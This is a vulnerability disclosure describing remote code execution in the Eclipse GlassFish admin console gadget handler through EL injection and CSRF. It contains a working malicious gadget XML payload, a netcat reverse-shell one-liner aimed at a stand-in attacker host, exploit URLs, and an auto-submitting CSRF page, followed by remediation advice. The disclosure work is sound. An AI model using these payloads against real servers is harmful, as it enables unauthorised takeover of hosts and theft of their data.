Skip to content

[Eclipse Glassfish] Remote Code Execution via EL Injection and CSRF

Introduction:

A server-side Expression Language (EL) injection vulnerability was identified in the Gadget rendering component. User-controlled values embedded in the gadget’s .xml code, are evaluated by the EL interpreter at runtime. By injecting crafted expressions, an attacker can execute arbitrary Java code, leading to full remote code execution (RCE).

Estimated CVSS:

8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

Description:

A critical Remote Code Execution (RCE) vulnerability was identified in the server-side template rendering mechanism used by the Glassfish gadget handler. The application processes .xml files and evaluates user-supplied values within a context where Expression Language (EL) “expressions” are processed without proper sanitization or escaping. By injecting expressions such as #{7*7}, the server returns 49, confirming server-side EL evaluation. This issue allows a remote attacker to fully compromise the underlying host, enabling capabilities as reading/modifying data, executing arbitrary commands, persistence, and lateral movement.

Vulnerable endpoints:

/appserver/admingui/common/src/main/java/org/glassfish/admingui/common/gadget/GadgetHandlers.java (Ex: Gadget Handler)

GlassFish Gadget Handler (/common/gadgets/gadget.jsf?gadget=)

Tested Versions:

Eclipse GlassFish 8.0.0 (Windows and Linux)

Eclipse GlassFish 7.1.0 (Windows and Linux)

Exploitation

  • The Attacker hosts the malicious XML to exploit the EL Injection (/payload) and get a Reverse Shell.

    Note: Replace <BASE64_REVERSE_SHELL> value with base64_encode(‘nc -e /bin/bash ATTACKER_IP 4444’)

<?xml version="1.0" encoding="UTF-8" ?>
<Module id="foo">
<ModulePrefs title="foo
#{''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null)
.exec('bash -c {echo,<BASE64_REVERSE_SHELL>}|{base64,-d}|{bash,-i}')}" />
<Content type="html">
<![CDATA[
<span id="hello">Hello!</span>
]]>
</Content>
</Module>
  • Attacker authenticates to the GlassFish Administration Console.
  • Attacker starts a listener on the Attacker's server using netcat (Ex. Port 4444)
nc -lvpn 4444
  • The Attacker visits vulnerable gadget handler URL with payload as gadget variable value. ● https://target_glassfish:4848/common/gadgets/gadget.jsf?gadget=http://a ttacker.com/payload
  • Attacker receives a reverse shell session to netcat running on port 4444.

PoC and Automated Exploit:

An independent Proof-of-Concept exploit, gadget_RCE.py, is provided as a separate file. The exploit hosts an exploit.xml file which triggers the EL-based RCE to obtain a reverse shell. The exploit also runs a listener to run commands on the target.

Note: (Default HTTP Port: 5000 | Default filename: /payload.xml | Default listener port: 4444

  • Choose a reverse shell and base64 encode it with this oneliner. In this example Netcat traditional is being used.
    • echo -n "nc -e /bin/bash ATTACKER_SERVER 4444" | base64
  • Run gadget_RCE.py exploit with the base64 encoded value as a command.
    • python3 xmlserver2.py --command "<BASE64_REVERSE_SHELL>"
  • Authenticate to Glassfish Admin Console using valid credentials.
  • Visit vulnerable gadget URL with the payload URL to trigger RCE
    • https://target_glassfish:4848/common/gadgets/gadget.jsf?gadget=http://a ttacker.com:5000/payload.xml
  • Shell connection will be received in the attackers terminal.

No credentials, no problem. CSRF Exploitation scenario:

If the remote attacker does not have credentials, is still able to exploit the vulnerability by sending a crafted html exploit. Host the following exploit link to a logged administrator.

  1. Choose a reverse shell and base64 encode it with this oneliner. In this example Netcat traditional is being used.
  2. Run gadget_RCE.py exploit with the base64 encoded value as a command.
  3. Send the HTML exploit with the vulnerable gadget URL with the payload URL to an authenticated administrator to trigger RCE.
  4. Shell connection will be received in the attackers terminal.

CSRF Exploit:

<html>
<body>
<form action="https://target_glassfish:4848/common/gadgets/gadget.jsf">
<input type="hidden" name="gadget"
value="http&#58;&#47;&#47;ATTACKER_SERVER&#58;5000&#47;payload&#46;xml" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

Estimated CVSS with CSRF:

9.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Severity justification:

This vulnerability enables execution of arbitrary operating system commands under the GlassFish service account, giving an unauthenticated attacker full control over the application server. This can be used to access sensitive configuration files and credentials, exfiltrate application and database data, deploy persistent backdoors, and disrupt or shut down services with one click from a logged user.

Recommended remediation:

  • Expression Language contexts; reject any input containing EL expressions (#{}) or dangerous Java class references (Runtime, ProcessBuilder, System).
  • Use context-aware output encoding for all dynamic content rendered in templates; apply EL-specific escaping that neutralizes expression syntax while preserving legitimate display text.
  • Deploy secure templating frameworks that automatically escape EL expressions by default, requiring explicit whitelisting for any intentional expression evaluation.

References:

Edited by Tiago Lucas
To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information